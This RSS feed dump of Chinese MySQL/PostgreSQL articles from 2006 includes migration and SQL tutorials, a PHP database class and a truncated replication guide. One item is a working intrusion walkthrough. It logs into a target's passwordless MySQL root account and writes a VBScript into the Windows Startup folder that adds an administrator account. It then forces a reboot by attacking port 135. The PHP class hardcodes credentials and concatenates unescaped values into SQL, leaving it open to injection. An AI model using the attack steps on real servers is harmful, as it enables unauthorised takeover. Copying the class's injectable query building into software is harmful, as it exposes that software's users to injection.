　　BOOLEAN字段是真或假、1或0。这和MySQL中相似。

　　TIMESTAMP字段和MySQL中的情况类型。每次记录更新时，timestamp被更新为当前的日期和时间。Postgres的时间字段还可以包含时区信息。有关Postgres时间数据的更复杂的应用，请参看PostgreSQL文档的日期和时间。

　　建立数据表

　　当你使用SQL文件在Postgres中建立数据表时，请检查在每一个CREATE TABLE查询的最后是不是都以分号结束 - 这对于Postgres是不可省略的。使用telnet这样的工具连接到你的Web主机，然后用下面的方法建立数据表。

　　首先，用一个文本编辑器打开你的表定义文件。然后登录到你的主机，并输入psql运行Postgres交互终端。默认的用户论证方式是使用你的 telnet/FTP用户名作为你的Postgres帐号。这使得不需要你输入用户名和口令，Postgres就能自动鉴别你的身份。你的Web主机也许不是采用的这种方式，在这种情况下，你需要为psql程序带入参数：psql -d databasename -U username -W。-d用来指定数据库，-U指定用户名，而-W要求psql提示你输入一个口令。

　　当你成功地运行了psql以后，将每个CREATE TABLE查询单独地粘贴到psql中并按回车键。如果在你的SQL语句中有错误，psql会给出相应提示。通过逐一地加入每一个表，你会得到每一个表的调试信息，这样做起来相当简单。

　　如果，在你输入了表的定义之后，你发现遗漏了一两个字段，有两种方法能解决这个问题。你可以使用ALTER TABLE命令，或者是使用DROP TABLE删除这张表，然后重新生成。如果你使用第二种方法，你会看到一个警告以验证你是不是真的想要删除表。

　　要使用DROP TABLE命令，只需要输入DROP TABLE practicetable;。这会删除我们刚才定义的表。但是当你对这个表重新进行定义时，你会发现一个错误。这是因为在删除一个表时并不相应地删除这个表中SERIAL类型字段的序列。这些遗留下来的序列会在你重建表时引起错误。要解决这个问题，你必须在删除表之前使用DROP SEQUENCE sequencename;删除相应的序列。而且有件很讨厌的事，那就是序列名并不就是SERIAL列的名字。当你定义一个SERIAL类型的字段时， Postgres会自动生成这样的序列名：tablename_colname_seq。在现在的这种情况下，DROP SEQUENCE 语句将会是这样的：DROP SEQUENCE practicetable_someID_seq;。现在你就可以删除这张表并重新生成它了。

　　在添加完这些表之后，你可以输入z对这些表进行复查。而输入q将会退出psql。现在剩下来的就是准备输入到Postgres中的数据了。

　　处理Dump文件

　　因为MySQL保留了绝大多数的SQL语言的标准，从一个SQL的dump文件中导出实际数据并不是太困难的。然而，在我们使用Postgres对这个文件进行处理前，我们还是需要作一些编辑工作。

　　对于数据记录，在MySQL和Postgres之间的主要区别是对引号的处理。在Postgres中，字符串变量(包含文本的变量)必须由两个单引号引出。而在MySQL中，你还可以使用双引号，但是幸运的是，在mysqldump程序中程序中使用的是单引号，这刚好与Postgres一致。然而， MySQL和Postgres还有一个地方不同，那就是对字符串中出现的引号的处理。在MySQL中使用""，而在Postgres中使用"。使用你的文本编辑器并通过替换功能将其中所有的""替换为"。有趣的是，Postgres和MySQL都使用''来表示单引号，这使得我们免去了一个麻烦。

　　导入到Postgres中

　　当你整理好SQL dump文件后，将这个文件上载到你的Web主机中，就如同你当初建表那样登录到主机，转到SQL dump文件存放的目录。启动psql，不过这次你必须使用另一个命令行参数：psql -f sqldump.txt，这儿的sqldump.txt就改为你的SQL dump文件的文件名。这个命令会将全部的SQL文件导入到适当的Postgres数据表中。在此之前，你也许还需要其它的一些命令行参数以使得psql 可以对你的身份进行验证。如果发生了错误，psql会告诉这是由什么引起的。找到文件中的这一部分，找到问题并手工解决它。我当初是没有遇到任何问题，我差不多准备结束工作了。但是，很快我注意到另一个问题。

　　在我开始使用我的新的Postgres驱动的站点时，我偶然地发现MySQL和Postgres之间另一个不兼容的地方。SERIAL类型的自增字段所使用的Postgres的序列，它从1开始，并在每次有一个SERIAL类型字段的记录插入时加一。然而，在我导入MySQL的dump文件时，这个 dump文件中的SQL将这个值定义为整型主键。我当时的情况是，我有一个到唯一主键已经到了60，而序列仍然是1。于是我的每一个插入命令都没法成功，因为根据序列产生的不是唯一ID。我当时用了一个很笨的方法解决这个问题，那就是运行了60次INSERT语句以将序列调整为适当的值，但是后来有一个熟悉Postgres的朋友教给我一个好方法。下面就是他所讲的方法：

　　使用telnet这样的终端程序连接到你的主机。然后启动psql程序。首先，确定表中ID的最大值。这可以用SELECT fieldname FROM tablename WHERE fieldname=MAX(fieldname);。然后使用DROP SEQUENCE table_colname_seq;删除有问题的序列，这儿table是表名，而colname是SERIAL字段的列名。然后使用CREATE SEQUENCE table_colname_seq START 61;重建序列，当然这儿的61应根据你的实际情况进行修改。

　　安装一个图形界面的工具

　　当我成功地将数据导入到Postgres后，我还需要让我的不懂Unix的伙伴能够操作数据库中的数据。当初的MySQL我是使用的 phpMyAdmin，这是一个很好用的工具，它能够在线的显示和编辑数据库。幸运的是，已经有了“Postgres版本”的phpMyAdmin，那就是phpPgAdmin。

　　phpPgAdmin的安装非常简单。首先，从phpPgAdmin网站下载最新的版本，然后将其放到你的Web主机上的你所能访问的地方。使用 telnet这样的工具登陆到主机。到phpPgAdmin.tar.gz文件所在的目录，输入tar -xzvf phpPgAdmin.tar.gz对程序进行解压(这里只是举个例子，你的文件名可能不一样)。下面一件事就是将解压生成的新的子目录移到合适的地方，并阅读README文件。

　　最后，用你的Web主机上的文本编辑器打开config.inc.php。这个文件中包含了对phpPgAdmin的配置。将这个文件配置好你就可以通过浏览器使用PhpPgAdmin了，它会提示你输入用户名并登录，通过这个程序你管理你的数据库将变得非常简单。

　　结语

　　与MySQL相比，Postgres更加稳定，更加可靠，可以应付更大的数据。按照上面的提示，你可以使用SQL的dump文件将数据从MySQL转到Postgres。如果在这个过程中你遇到什么困难，从Postgres网站你可以找到一些非常有用的文档资源。
]]></description>
		</item>
		<item>
			<title>MySQL用户Root密码为弱口令的攻击</title>
			<link>http://www.kingmx.com/article.php?id=14549</link>
			<pubDate>2006-11-29</pubDate>
			<description><![CDATA[
1、连接到对方MYSQL 服务器 

mysql -u root -h 192.168.0.1 

mysql.exe 这个程序在你安装了MYSQL的的BIN目录中。　　 

2、让我们来看看服务器中有些什么数据库 

mysql&gt;show databases; MYSQL默认安装时会有MYSQL、TEST这两个数据库，如果你看到有其它的数据库那么就是用户自建的数据库。 　　 

3、让我们进入数据库 

mysql&gt;use test; 我们将会进入test数据库中。 　　 

4、查看我们进入数据库中有些什么数据表 

mysql&gt;show tables; 默认的情况下，test中没有任何表的存在。 

以下为关键的部分 　　 

5、在TEST数据库下创建一个新的表； 

mysql&gt;create table a (cmd text); 好了，我们创建了一个新的表，表名为a，表中只存放一个字段，字段名为cmd，为text文本。 　　 

6、在表中插入内容 






　　mysql&gt;insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); 

　　mysql&gt;insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " ); 

　　mysql&gt;insert into a values 
("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0) " );

注意双引号和括号以及后面的"0"一定要输入！我们将用这三条命令来建立一个VBS的脚本程序！ 　7、好了，现在我们来看看表a中有些什么 

mysql&gt;select * from a;我们将会看到表中有三行数据，就是我们刚刚输入的内容，确认你输入的内容无误后，我们来到下一步 　　 

8、输出表为一个VBS的脚本文件 

mysql&gt;select * from a into outfile "c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs"; 我们把我们表中的内容输入到启动组中，是一个VBS的脚本文件！注意""符号。 　　 

9、看到这大家肯定知道了，就是利用MYSQL输出一个可执行的文件而已。为什么不用BAT呢，因为启动运行时会有明显的DOS窗口出来，而用VBS脚本则可以完全隐藏窗口且不会有错误提示！本来，应该还有一句完成脚本后自动删除此脚本的，但是中文目录实在无法处理，只有作罢！好了，找个工具攻击135让服务器重启吧，几分钟以后你就是管理员了
]]></description>
		</item>
		<item>
			<title>透视MySQL数据库之更新语句</title>
			<link>http://www.kingmx.com/article.php?id=14502</link>
			<pubDate>2006-11-29</pubDate>
			<description><![CDATA[

用于操作数据库的SQL一般分为两种，一种是查询语句，也就是我们所说的SELECT语句，另外一种就是更新语句，也叫做数据操作语句。言外之意，就是对数据进行修改。在标准的SQL中有3个语句，它们是INSERT、UPDATE以及DELETE。在MySQL中又多了一个REPLACE语句，因此，本文以MySQL为背景来讨论如何使有SQL中的更新语句。

　　一、INSERT和REPLACE

　　INSERT和REPLACE语句的功能都是向表中插入新的数据。这两条语句的语法类似。它们的主要区别是如何处理重复的数据。

　　1. INSERT的一般用法

　　MySQL中的INSERT语句和标准的INSERT不太一样，在标准的SQL语句中，一次插入一条记录的INSERT语句只有一种形式。

　　INSERT INTO tablename(列名…) VALUES(列值);

　　而在MySQL中还有另外一种形式。

　　INSERT INTO tablename SET column_name1 = value1, column_name2 = value2，…;

　　第一种方法将列名和列值分开了，在使用时，列名必须和列值的数一致。如下面的语句向users表中插入了一条记录：

　　INSERT INTO users(id, name, age) VALUES(123, '姚明', 25);

　　第二种方法允许列名和列值成对出现和使用，如下面的语句将产生中样的效果。

　　INSERT INTO users SET id = 123, name = '姚明', age = 25;

　　如果使用了SET方式，必须至少为一列赋值。如果某一个字段使用了省缺值（如默认或自增值），这两种方法都可以省略这些字段。如id字段上使用了自增值，上面两条语句可以写成如下形式：

　　INSERT INTO users (name, age) VALUES('姚明',25);

　　INSERT INTO uses SET name = '姚明', age = 25;

　　MySQL在VALUES上也做了些变化。如果VALUES中什么都不写，那MySQL将使用表中每一列的默认值来插入新记录。

　　INSERT INTO users () VALUES();

　　如果表名后什么都不写，就表示向表中所有的字段赋值。使用这种方式，不仅在VALUES中的值要和列数一致，而且顺序不能颠倒。 INSERT INTO users VALUES(123, '姚明', 25);

　　如果将INSERT语句写成如下形式MySQL将会报错。

　　INSERT INTO users VALUES('姚明',25);

　　2. 使用INSERT插入多条记录

　　看到这个标题也许大家会问，这有什么好说的，调用多次INSERT语句不就可以插入多条记录了吗！但使用这种方法要增加服务器的负荷，因为，执行每一次 SQL服务器都要同样对SQL进行分析、优化等操作。幸好MySQL提供了另一种解决方案，就是使用一条INSERT语句来插入多条记录。这并不是标准的 SQL语法，因此只能在MySQL中使用。

　　INSERT INTO users(name, age)
　　VALUES('姚明', 25), ('比尔.盖茨', 50), ('火星人', 600);

　　上面的INSERT 语句向users表中连续插入了3条记录。值得注意的是，上面的INSERT语句中的VALUES后必须每一条记录的值放到一对(…)中，中间使用","分割。假设有一个表table1

　　CREATE TABLE table1(n INT)；

　　如果要向table1中插入5条记录，下面写法是错误的：

　　INSERT INTO table1 (i) VALUES(1,2,3,4,5);

　　MySQL将会抛出下面的错误

　　ERROR 1136: Column count doesn't match value count at row 1

　　而正确的写法应该是这样：

　　INSERT INTO t able1(i) VALUES(1),(2),(3),(4),(5);

　　当然，这种写法也可以省略列名，这样每一对括号里的值的数目必须一致，而且这个数目必须和列数一致。如：

　　INSERT INTO t able1 VALUES(1),(2),(3),(4),(5);

　　3. REPLACE语句

　　我们在使用数据库时可能会经常遇到这种情况。如果一个表在一个字段上建立了唯一索引，当我们再向这个表中使用已经存在的键值插入一条记录，那将会抛出一个主键冲突的错误。当然，我们可能想用新记录的值来覆盖原来的记录值。如果使用传统的做法，必须先使用DELETE语句删除原先的记录，然后再使用 INSERT插入新的记录。而在MySQL中为我们提供了一种新的解决方案，这就是REPLACE语句。使用REPLACE插入一条记录时，如果不重复， REPLACE就和INSERT的功能一样，如果有重复记录，REPLACE就使用新记录的值来替换原来的记录值。

　　使用REPLACE的最大好处就是可以将DELETE和INSERT合二为一，形成一个原子操作。这样就可以不必考虑在同时使用DELETE和INSERT时添加事务等复杂操作了。

　　在使用REPLACE时，表中必须有唯一索引，而且这个索引所在的字段不能允许空值，否则REPLACE就和INSERT完全一样的。

　　在执行REPLACE后，系统返回了所影响的行数，如果返回1，说明在表中并没有重复的记录，如果返回2，说明有一条重复记录，系统自动先调用了 DELETE删除这条记录，然后再记录用INSERT来插入这条记录。如果返回的值大于2，那说明有多个唯一索引，有多条记录被删除和插入。

　　REPLACE的语法和INSERT非常的相似，如下面的REPLACE语句是插入或更新一条记录。

　　REPLACE INTO users (id,name,age) VALUES(123, '赵本山', 50);
　
　　插入多条记录：

　　REPLACE INTO users(id, name, age)
　　VALUES(123, '赵本山', 50), (134,'Mary',15);

　　REPLACE也可以使用SET语句

　　REPLACE INTO users SET id = 123, name = '赵本山', age = 50;

　　上面曾提到REPLACE可能影响3条以上的记录，这是因为在表中有超过一个的唯一索引。在这种情况下，REPLACE将考虑每一个唯一索引，并对每一个索引对应的重复记录都删除，然后插入这条新记录。假设有一个table1表，有3个字段a, b, c。它们都有一个唯一索引。

　　CREATE TABLE table1(a INT NOT NULL UNIQUE,b INT NOT NULL UNIQUE,c INT NOT NULL UNIQUE);

　　假设table1中已经有了3条记录

　　a b c
　　1 1 1
　　2 2 2
　　3 3 3

　　下面我们使用REPLACE语句向table1中插入一条记录。

　　REPLACE INTO table1(a, b, c) VALUES(1,2,3);

　　返回的结果如下

　　Query OK, 4 rows affected (0.00 sec)

　　在table1中的记录如下

　　a b c
　　1 2 3

　　我们可以看到，REPLACE将原先的3条记录都删除了，然后将（1, 2, 3）插入。
二、UPDATE

　　UPDATE的功能是更新表中的数据。这的语法和INSERT的第二种用法相似。必须提供表名以及SET表达式，在后面可以加WHERE以限制更新的记录范围。

　　UPDATE table_anem SET column_name1 = value1, column_name2 = value2, ...

　　WHERE ... ;

　　如下面的语句将users表中id等于123的记录的age改为24

　　UPDATE users SET age = 24 WHERE id = 123;

　　同样，可以使用UPDATE更新多个字段的值 UPDATE users SET age = 24, name = 'Mike' WHERE id = 123;

　　上面的UPDATE语句通过WHERE指定一个条件，否则，UPDATE将更新表中的所有记录的值。

　　在使用UPDATE更新记录时，如果被更新的字段的类型和所赋的值不匹配时，MySQL将这个值转换为相应类型的值。如果这个字段是数值类型，而且所赋值超过了这个数据类型的最大范围，那么MySQL就将这个值转换为这个范围最大或最小值。如果字符串太长，MySQL就将多余的字符串截去。如果设置非空字段为空，那么将这个字段设置为它们的默认值，数字的默认值是0，字符串的默认值是空串（不是null，是""）。
　
　　有两种情况UPDATE不会对影响表中的数据。

　　1. 当WHERE中的条件在表中没有记录和它匹配时。

　　2. 当我们将同样的值赋给某个字段时，如将字段abc赋为'123'，而abc的原值就是'123'。

　　和INSERT、REPLACE一样，UPDATE也返回所更新的记录数。但这些记录数并不包括满足WHERE条件的，但却未被更新的记录。如下同的UPDATE语句就未更新任何记录。

　　UPDATE users SET age = 30 WHERE id = 12;
　　Query OK, 0 rows affected (0.00 sec)

　　需要注意的时，如果一个字段的类型是TIMESTAMP，那么这个字段在其它字段更新时自动更新。

　　在有些时候我们需要得到UPDATE所选择的行数，而不是被更新的行数。我们可以通过一些API来达到这个目的。如MySQL提供的C API提供了一个选项可以得到你想要的记录数。而MySQL的JDBC驱动得到的默认记录数也是匹配的记录数。

　　UPDATE和REPLACE基本类似，但是它们之间有两点不同。

　　1. UPDATE在没有匹配记录时什么都不做，而REPLACE在有重复记录时更新，在没有重复记录时插入。

　　2. UPDATE可以选择性地更新记录的一部分字段。而REPLACE在发现有重复记录时就将这条记录彻底删除，再插入新的记录。也就是说，将所有的字段都更新了。

　　三、DELETE和TRUNCATE TABLE

　　在MySQL中有两种方法可以删除数据，一种是DELETE语句，另一种是TRUNCATE TABLE语句。DELETE语句可以通过WHERE对要删除的记录进行选择。而使用TRUNCATE TABLE将删除表中的所有记录。因此，DELETE语句更灵活。

　　如果要清空表中的所有记录，可以使用下面的两种方法：

　　DELETE FROM table1
　　TRUNCATE TABLE table1

　　其中第二条记录中的TABLE是可选的。

　　如果要删除表中的部分记录，只能使用DELETE语句。

　　DELETE FROM table1 WHERE ...;

　　如果DELETE不加WHERE子句，那么它和TRUNCATE TABLE是一样的，但它们有一点不同，那就是DELETE可以返回被删除的记录数，而TRUNCATE TABLE返回的是0。

　　如果一个表中有自增字段，使用TRUNCATE TABLE和没有WHERE子句的DELETE删除所有记录后，这个自增字段将起始值恢复成1.如果你不想这样做的话，可以在DELETE语句中加上永真的WHERE，如WHERE 1或WHERE true。

　　DELETE FROM table1 WHERE 1;

　　上面的语句在执行时将扫描每一条记录。但它并不比较，因为这个WHERE条件永远为true。这样做虽然可以保持自增的最大值，但由于它是扫描了所有的记录，因此，它的执行成本要比没有WHERE子句的DELETE大得多。

　　DELETE和TRUNCATE TABLE的最大区别是DELETE可以通过WHERE语句选择要删除的记录。但执行得速度不快。而且还可以返回被删除的记录数。而TRUNCATE TABLE无法删除指定的记录，而且不能返回被删除的记录。但它执行得非常快。

　　和标准的SQL语句不同，DELETE支持ORDER BY和LIMIT子句，通过这两个子句，我们可以更好地控制要删除的记录。如当我们只想删除WHERE子句过滤出来的记录的一部分，可以使用LIMIB，如果要删除后几条记录，可以通过ORDER BY和LIMIT配合使用。假设我们要删除users表中name等于"Mike"的前6条记录。可以使用如下的DELETE语句：

　　DELETE FROM users WHERE name = 'Mike' LIMIT 6;

　　一般MySQL并不确定删除的这6条记录是哪6条，为了更保险，我们可以使用ORDER BY对记录进行排序。

　　DELETE FROM users WHERE name = 'Mike' ORDER BY id DESC LIMIT 6;
]]></description>
		</item>
		<item>
			<title>MYSQL的操作类（已封装）</title>
			<link>http://www.kingmx.com/article.php?id=14428</link>
			<pubDate>2006-11-23</pubDate>
			<description><![CDATA[

【导读】本文封装了一个按照ADO的习惯书写的MYSQL的操作类，供参考学习。



class MySQLDB
{
//MYSQL数据库操作类
//作者：熊毅
//版本：2.0(发行版)
//可以自由转载，修改请通知我scxy78@yeah.net
//转载请保留以上声明
//使用说明：
//该类完全按照ADO的习惯书写的，用过ASP的人都觉得ASP连接数据库比PHP好用（这是我的感觉），
//但PHP得一个一个API地写，挺累，该类做了完全的封装
//创建类的实例时可以指定一个数据库表和选择的数据库，如：new MySQLDB("table","database");
//查询数据时Query后可以用GetValue得到相应的值，既可以是字段名也可以是已0开始的序号
//插入新值，先用AddNew后使用SetValue相应的字段名或序号和字段值，在用Update添加
//编辑时用Edit指定编辑记录的条件在使用SetValue，最后用Update添加
//在类使用过程中，sTName记录上次使用的数据库表名，当指定后可以直接使用，以后的操作默认在该表
//上进行操作，当然也可以每次指定特殊的表进行操作
//nErr指示是否操作出错，sErr记录最后一次出错的错误代码，记录了明确的有哪个函数引起的错误
//错误之处请指正
//欢迎来信与我交流编程经验：scxy78@yeah.net
//我的CSDN：用户号：scxy；呢称：小熊，请多关照
//可以自由转载，修改请通知我scxy78@yeah.net
//转载请保留以上声明 

var $host="localhost"; //主机名
var $user="boot"; //用户名
var $password="oaserver"; //用户密码
var $linkid; //连接值
var $dbid; //数据库选择的结果值
var $sTName; //指定当前操作的数据库表
var $sErr; //错误代码
var $nErr; //指示是否有错误存在,0无错误,1有错误
var $nResult; //查询结果值
var $aFName; //保存FieldsName的数组
var $nRows; //查询结果中的行数
var $nCols; //查询结果中的列数
var $aNew; //添加在AddNew函数后的数据，以数组形式保存
var $NewEdit; //判断当前是否在进行添加操作，0表示没有，1表示在进行添加,2表示编辑
var $sEditCon; //指定编辑记录的条件
var $nOffset; //记录偏移量
var $EOF; //标记是否到记录集尾
var $sSQL; //最后一条执行的SQL语句

//执行Update所要用到的全局变量
var $sName; //字段名
var $sValue; //字段值AddNew时用
var $sEdit; //字段值Edit时用

function Initialize()
{
$this-&gt;nErr=0;
$this-&gt;NewEdit=0;
$this-&gt;nResult=-1;
$this-&gt;nCols=0;
$this-&gt;nRows=0;
$this-&gt;nOffset=0;
$this-&gt;EOF=true;
$this-&gt;sName="";
$this-&gt;sValue="#@!";
$this-&gt;sEdit="#@!";
unset($this-&gt;aFName);
unset($this-&gt;aNew);
}
function MySqlDB($TableName="",$database="slt") //构造函数
{
$this-&gt;Initialize();
$this-&gt;sTName=$TableName;
$this-&gt;linkid=mysql_connect($host,$user,$password);
if(!$this-&gt;linkid)
{
$this-&gt;nErr=1;
$this-&gt;sErr="MySqlDB:数据库连接出错，请启动服务!";
return;
}
$this-&gt;dbid=mysql_select_db($database);
if(!$this-&gt;dbid)
{
$this-&gt;nErr=1;
$this-&gt;sErr="MySqlDB:选择的数据库".$database."不存在!";
return;
}
}

function IsEmpty($Value)
{
if(is_string($Value)&amp;&amp;empty($Value))
return true;
return false;
}

function Destroy() //数据清除处理
{
mysql_query("commit");
mysql_close();
}

function PrintErr()
{
if($this-&gt;nErr==1)
{
echo($this-&gt;sErr."&lt;br&gt;&lt;br&gt;");
}
else
{
echo("没有错误&lt;br&gt;&lt;br&gt;");
}
}

function Execute($SQL) //直接执行SQL语句
{
if(empty($SQL))
{
$this-&gt;nErr=1;
$this-&gt;sErr="Execute:执行语句不能为空！";
return false;
}
$this-&gt;sSQL=$SQL;
if(!mysql_query($SQL))
{
$this-&gt;nErr=1;
$this-&gt;sErr="Execute:SQL语句：".$SQL."&lt;br&gt;MySql错误：".mysql_error();
return false;
}
return true;
}

function Query($TableName="",$SQL="*",$Condition="",$Order="",$Sequenc="") //在数据库里执行查询
{
$this-&gt;Initialize();
if(!empty($TableName))
$this-&gt;sTName=$TableName;
$strSQL="select ".$SQL." from ".$this-&gt;sTName;
if(!empty($Condition))
$strSQL=$strSQL." where ".$Condition;
if(!empty($Order))
$strSQL=$strSQL." order by ".$Order;
if(!empty($Sequenc))
$strSQL=$strSQL." ".$Sequenc;
$this-&gt;sSQL=$strSQL;
if(!$this-&gt;nResult=mysql_query($strSQL))
{
$this-&gt;nErr=1;
$this-&gt;sErr="Query:SQL语句：".$strSQL."&lt;br&gt;MySql错误：".mysql_error()."&lt;br&gt;";
return;
}
$this-&gt;nOffset=0;
$this-&gt;nRows=mysql_num_rows($this-&gt;nResult);
$this-&gt;nCols=mysql_num_fields($this-&gt;nResult);
if($this-&gt;nRows&gt;0)
$this-&gt;EOF=false;
else
$this-&gt;EOF=true;
unset($this-&gt;aFName);
$this-&gt;aFName=array();
for($i=0;$i&lt;$this-&gt;nCols;$i++)
$this-&gt;aFName[$i]=strtolower(mysql_field_name($this-&gt;nResult,$i));
}

function MoveNext()
{
if($this-&gt;EOF)
{
$this-&gt;nErr=1;
$this-&gt;sErr="MoveNext:已经移到记录集末尾！";
return;
}
$this-&gt;nOffset++;
if($this-&gt;nOffset&gt;=$this-&gt;nRows)
$this-&gt;EOF=true;
}

function MoveTo($Offset)
{
if(empty($Offset))
{
$this-&gt;nErr=1;
$this-&gt;sErr="MoveTo:必须指定偏移量! ";
return;
}

if(!$this-&gt;nResult)
{
$this-&gt;nErr=1;
$this-&gt;sErr="MoveTo:请先执行查询:Query";
return;
}
$this-&gt;nOffset=$Offset;
}

//得到指定行的指定列的值，返回字符串
//如果不指定Offset将取得下一行的值
//如果不指定nFields将取得该行的值，并已数组形式返回
function GetValue($nFields=-1,$Offset=-1)
{
if($this-&gt;nResult==-1)
{
$this-&gt;nErr=1;
$this-&gt;sErr="GetValue:请先执行Query()函数！";
return;
}
if($Offset&gt;-1)
{
$this-&gt;nOffset=$Offset;
if($this-&gt;nOffset&gt;=$this-&gt;nRows)
{
$this-&gt;nErr=1;
$this-&gt;sErr="GetValue:所要求的偏移量太大，无法达到！";
return;
}
}
if(!@mysql_data_seek($this-&gt;nResult,$this-&gt;nOffset))
{
$this-&gt;nErr=1;
$this-&gt;sErr="GetValue:请求不存在的记录！";
return;
}
$aResult=mysql_fetch_row($this-&gt;nResult);
if(is_int($nFields)&amp;&amp;$nFields&gt;-1)
{
if($nFileds&gt;$this-&gt;nCols)
{
$this-&gt;nErr=1;
$this-&gt;sErr="GetValue:所请求的列值大于实际的列值！";
return;
}
return $aResult[$nFields];
}
if(is_string($nFields))
{
$nFields=strtolower($nFields);
for($i=0;$i&lt;$this-&gt;nCols;$i++)
{
if($this-&gt;aFName[$i]==$nFields)
break;
}
if($i==$this-&gt;nCols)
{
$this-&gt;nErr=1;
$this-&gt;sErr="GetValue:所请求的列不存在，请仔细检查！";
return;
}
return $aResult[$i];
}
return $aResult;
}

function AddNew($TableName="") //标志开始添加数据
{
$this-&gt;Initialize();
if(!empty($TableName))
$this-&gt;sTName=$TableName;
if($this-&gt;NewEdit&gt;0)
{
$this-&gt;nErr=1;
$this-&gt;sErr="AddNew:你正在对数据库进行添加或更新操作！";
return;
}
if(empty($this-&gt;sTName))
{
$this-&gt;nErr=1;
$this-&gt;sErr="AddNew:想要添加的数据库表为空，可以在构造时指定，也可在AddNew()时指定！";
return;
}
unset($this-&gt;aNew);
$this-&gt;aNew=array();
$this-&gt;NewEdit=1;
$strSQL="select * from ".$this-&gt;sTName;
$this-&gt;sSQL=$strSQL;
if(!$this-&gt;nResult=mysql_query($strSQL))
{
$this-&gt;nErr=1;
$this-&gt;sErr="AddNew:SQL语句：".strSQL."&lt;br&gt;&lt;br&gt;MySql错误：".mysql_error();
return;
}
$this-&gt;nCols=mysql_num_fields($this-&gt;nResult);
unset($this-&gt;aFName);
$this-&gt;aFName=array();
for($i=0;$i&lt;$this-&gt;nCols;$i++)
$this-&gt;aFName[$i]=strtolower(mysql_field_name($this-&gt;nResult,$i));
}

function Edit($Condition="",$TableName="") //对指定数据库表进行编辑
{
$this-&gt;Initialize();
if(!empty($TableName))
$this-&gt;sTName=$TableName;
$this-&gt;sEditCon=$Condition;
if(empty($this-&gt;sTName))
{
$this-&gt;nErr=1;
$this-&gt;sErr="Edit:在编辑前请先指定数据库表！";
return;
}
unset($this-&gt;aNew);
$this-&gt;aNew=array();
$this-&gt;NewEdit=2;
$strSQL="select * from ".$this-&gt;sTName;
$this-&gt;sSQL=$strSQL;
if(!$this-&gt;nResult=mysql_query($strSQL))
{
$this-&gt;nErr=1;
$this-&gt;sErr="Edit:SQL语句：".strSQL."&lt;br&gt;&lt;br&gt;MySql错误：".mysql_error();
return;
}
$this-&gt;nCols=mysql_num_fields($this-&gt;nResult);
unset($this-&gt;aFName);
$this-&gt;aFName=array();
for($i=0;$i&lt;$this-&gt;nCols;$i++)
$this-&gt;aFName[$i]=strtolower(mysql_field_name($this-&gt;nResult,$i));
}

function SetValue($Index,$Value) //指定数据，跟在AddNew后执行;
{
if($this-&gt;NewEdit==0)
{
$this-&gt;nErr=1;
$this-&gt;sErr="SetValue:请先执行AddNew()或者Edit()！";
return;
}
if(is_int($Index))
{
if($Index&lt;0||$Index&gt;$this-&gt;nCols)
{
$this-&gt;nErr=1;
$this-&gt;sErr="SetValue:插入不存在的列值！";
return;
}
$this-&gt;aNew[$Index]=$Value;
$tmpIn=$Index;
}
elseif(is_string($Index))
{
$Index=strtolower($Index);
for($i=0;$i&lt;$this-&gt;nCols;$i++)
{
if($this-&gt;aFName[$i]==$Index)
break;
}
if($i==$this-&gt;nCols)
{
$this-&gt;nErr=1;
$this-&gt;sErr="SetValue:插入不存在的列值！";
return;
}
$this-&gt;aNew[$i]=$Value;
$tmpIn=$i;
}
if(!empty($this-&gt;sName))
$this-&gt;sName.=",";
$this-&gt;sName.=$this-&gt;aFName[$tmpIn];
//根据当前字段的类型生成相应的新值
if($this-&gt;sValue!="#@!")
$this-&gt;sValue.=",";
else
$this-&gt;sValue="";
$ftype=@mysql_field_type($this-&gt;nResult,$i);
//echo($ftype.",".$this-&gt;aNew[$i].",".$i.":".$sValue."&lt;br&gt;");
switch($ftype)
{
case "string":
case "date":
case "datetime":
$this-&gt;sValue.=""".$this-&gt;aNew[$tmpIn].""";
$this-&gt;sEdit=""".$this-&gt;aNew[$tmpIn].""";
break;
case "int":
case "unknown":
$this-&gt;sValue.=$this-&gt;aNew[$tmpIn];
$this-&gt;sEdit=$this-&gt;aNew[$tmpIn];
break;
default:
$this-&gt;nErr=1;
$this-&gt;sErr="Update:字段名为".$this-&gt;aFName[$tmpIn]."的".$ftype."类型目前版本不支持，请用别的方法添加数据！";
return;
}

if($this-&gt;NewEdit==2)
$this-&gt;sName.="=".$this-&gt;sEdit;
}

function Update() //存储新值到数据库
{
$strSQL="";

if($this-&gt;NewEdit==0)
{
$this-&gt;nErr=1;
$this-&gt;sErr="Update:请先执行AddNew()或者Edit()，再用SetValue()添加值！";
return;
}

if(empty($this-&gt;sValue))
{
$this-&gt;nErr=1;
$this-&gt;sErr="Update:在数据为空的情况下，不能添加或修改数据！";
return;
}

switch($this-&gt;NewEdit)
{
case 1: //添加
$strSQL="insert into ";
$strSQL.=$this-&gt;sTName;
$strSQL.=" (".$this-&gt;sName.") ";
$strSQL.="values (".$this-&gt;sValue.")";
break;
case 2: //修改
$strSQL="update ";
$strSQL.=$this-&gt;sTName;
$strSQL.=" set ";
$strSQL.=$this-&gt;sName;
if(!empty($this-&gt;sEditCon))
$strSQL.=" where ".$this-&gt;sEditCon;
break;
default:
$this-&gt;nErr=1;
$this-&gt;sErr="Update:Update()生成SQL语句出错，请检查！";
return;
}

$this-&gt;sSQL=$strSQL;
if(!$this-&gt;nResult=mysql_query($strSQL))
{
$this-&gt;nErr=1;
$this-&gt;sErr="Update:SQL语句：".$strSQL."&lt;br&gt;&lt;br&gt;MySql错误：".mysql_error();
return;
}
//echo($this-&gt;sSQL."&lt;br&gt;");
//作清理工作
$this-&gt;NewEdit=0;
unset($this-&gt;aNew);
mysql_query("commit");
}
}
]]></description>
		</item>
		<item>
			<title>windows环境下mysql数据库的主从同步备份步骤</title>
			<link>http://www.kingmx.com/article.php?id=14427</link>
			<pubDate>2006-11-23</pubDate>
			<description><![CDATA[
以下配置在本机上已经成功:
实现功能：A为主服务器，B为从服务器，初始状态时，A和B中的数据信息相同，当A中的数据发生变化时，B也跟着发生相应的变化，使得A和B的数据信息同步，达到备份的目的。
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
环境：
A、B的MySQL数据库版本同为4.1.20
A：
操作系统：Windows 2003 server
IP地址：192.168.100.1
B：
操作系统：Windows 2003 server
的IP地址：192.168.100.2
配置过程：
1、在A的数据库中建立一个备份帐户，命令如下：
GRANT REPLICATION SLAVE,RELOAD,SUPER ON *.* 
TO backup@'192.168.100.2'
